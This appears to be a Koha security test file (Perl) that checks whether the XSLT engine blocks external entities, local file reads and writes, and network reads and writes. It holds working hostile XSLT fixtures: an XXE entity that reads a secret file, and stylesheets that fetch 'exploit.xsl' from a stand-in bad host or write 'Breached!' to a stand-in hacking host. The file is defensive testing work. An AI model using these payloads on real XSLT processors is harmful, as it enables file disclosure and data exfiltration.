Bug 24756: Show the warnings on Jenkins
[koha.git] / t / db_dependent / Koha / XSLT / Security.t
1 #!/usr/bin/perl
2
3 # Copyright 2019 Rijksmuseum
4 #
5 # This file is part of Koha.
6 #
7 # Koha is free software; you can redistribute it and/or modify it
8 # under the terms of the GNU General Public License as published by
9 # the Free Software Foundation; either version 3 of the License, or
10 # (at your option) any later version.
11 #
12 # Koha is distributed in the hope that it will be useful, but
13 # WITHOUT ANY WARRANTY; without even the implied warranty of
14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 # GNU General Public License for more details.
16 #
17 # You should have received a copy of the GNU General Public License
18 # along with Koha; if not, see <http://www.gnu.org/licenses>.
19
20 use Modern::Perl;
21 use Data::Dumper qw/Dumper/;
22 use File::Temp qw/tempfile/;
23 use Test::More tests => 8;
24 use Test::Warn;
25
26 use Koha::XSLT::Base;
27 use t::lib::Mocks;
28
29 t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 1 } );
30 my $engine=Koha::XSLT::Base->new;
31
32 my $secret_file = mytempfile('Big secret');
33 my $xslt=<<"EOT";
34 <!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]>
35 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
36   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
37   <xsl:variable name="secret">&secret;</xsl:variable>
38   <xsl:template match="/">
39       <secret><xsl:value-of select="\$secret"/></secret>
40   </xsl:template>
41 </xsl:stylesheet>
42 EOT
43 my $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
44 like($output, qr/Big secret/, 'external entity got through');
45
46 t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 0 } );
47 $engine=Koha::XSLT::Base->new;
48 $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
49 unlike($output, qr/Big secret/, 'external entity did not get through');
50
51 # Adding a document call to trigger callback for read_file
52 # Does not depend on expand_entities.
53 $xslt=<<"EOT";
54 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
55   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
56   <xsl:template match="/">
57       <read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file>
58   </xsl:template>
59 </xsl:stylesheet>
60 EOT
61 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
62     [ qr/read_file called in XML::LibXSLT/, qr/runtime error/ ],
63     'Triggered security callback for read_file';
64
65 # Trigger write_file
66 $xslt=<<"EOT";
67 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
68   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
69   <xsl:template match="/">
70       <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document>
71   </xsl:template>
72 </xsl:stylesheet>
73 EOT
74 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
75     [ qr/write_file called in XML::LibXSLT/, qr/runtime error/ ],
76     'Triggered security callback for write_file';
77
78 # Trigger read_net
79 $xslt=<<"EOT";
80 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
81   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
82   <xsl:template match="/">
83       <xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" />
84   </xsl:template>
85 </xsl:stylesheet>
86 EOT
87 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
88     [ qr/read_net called in XML::LibXSLT/, qr/runtime error/ ],
89     'Triggered security callback for read_net';
90
91 # Trigger write_net
92 $xslt=<<"EOT";
93 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
94   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
95   <xsl:template match="/">
96       <exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html">
97     <xsl:text>Breached!</xsl:text>
98 </exsl:document>
99   </xsl:template>
100 </xsl:stylesheet>
101 EOT
102 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
103     [ qr/write_net called in XML::LibXSLT/, qr/runtime error/ ],
104     'Triggered security callback for write_net';
105
106 # Check remote import (include should be similar)
107 # Trusting koha-community.org DNS here ;)
108 # This should not trigger read_net but fail on the missing import.
109 $xslt=<<"EOT";
110 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
111   <xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/>
112   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
113   <xsl:template match="/"/>
114 </xsl:stylesheet>
115 EOT
116 $engine->print_warns(1);
117 {
118     my @warn;
119     local $SIG{__WARN__} = sub { push @warn, $_[0]; };
120     $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
121     is( ( grep { /failed to load external/ } @warn ), 1, 'Expected import error. Additional info: '.Dumper(@warn) );
122     is( ( grep { /read_net/ } @warn ), 0, 'No read_net warn for remote import' );
123 }
124
125 sub mytempfile {
126     my ($fh, $fn) = tempfile( UNLINK => 1 );
127     print $fh $_[0] if $_[0];
128     close $fh;
129     return $fn;
130 }